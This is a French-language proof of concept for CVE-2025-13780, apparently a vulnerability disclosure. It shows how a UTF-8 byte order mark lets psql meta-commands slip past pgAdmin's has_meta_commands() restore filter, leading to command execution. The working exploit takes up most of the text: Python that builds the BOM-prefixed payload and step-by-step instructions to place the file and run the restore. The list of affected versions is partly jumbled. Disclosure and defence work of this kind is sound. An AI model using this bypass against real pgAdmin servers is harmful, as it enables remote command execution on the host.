
Preuve de concept pour CVE-2025-13780
Le filtre de méta-commande de restauration PLAIN introduit dans pgAdmin dans le cadre du correctif pour l'issue 9320 ne détecte pas les méta-commandes lorsqu'un fichier SQL commence par un Byte Order Mark UTF-8 (EF BB BF) ou d'autres séquences spéciales. Le filtre implémenté utilise la fonction has_meta_commands(), qui scanne les octets bruts à l'aide d'une expression régulière. La regex ne traite pas les octets comme ignorables, donc les méta-commandes telles que ! restent non détectées. Lorsque pgAdmin invoque psql avec --file, psql supprime les octets et exécute la commande. Cela peut entraîner une exécution de commande à distance lors d'une opération de restauration.
Ce contournement affecte le correctif introduit dans le commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Confirmé affecté :
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Probablement affecté :
has_meta_commands() corrigé du commit 1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict), les méta-commandes sont donc désormais bloquées par psql lui-mêmeweb/pgadmin/tools/restore/__init__.py has_meta_commands()Code pertinent (issu de la version corrigée) :
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Étape 1 : Créer un fichier SQL commençant par un BOM et une méta-commande.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Étape 2 : Vérifier le BOM :
xxd bypass_bom.sql | head -1
Attendu :
ef bb bf 5c 21 ...
Étape 3 : Placer le fichier dans le stockage pgAdmin :
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Étape 4 : Dans pgAdmin : Restauration -> Format : PLAIN -> sélectionner bypass_bom.sql -> Exécuter
Étape 5 : Vérifier l'exécution :
ls /tmp/bom_ran
Le fichier témoin sans BOM est correctement bloqué.
Charge utile préfixée par BOM :
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Charge utile témoin :
\\! echo SHOULD_BE_BLOCKED
SELECT 1;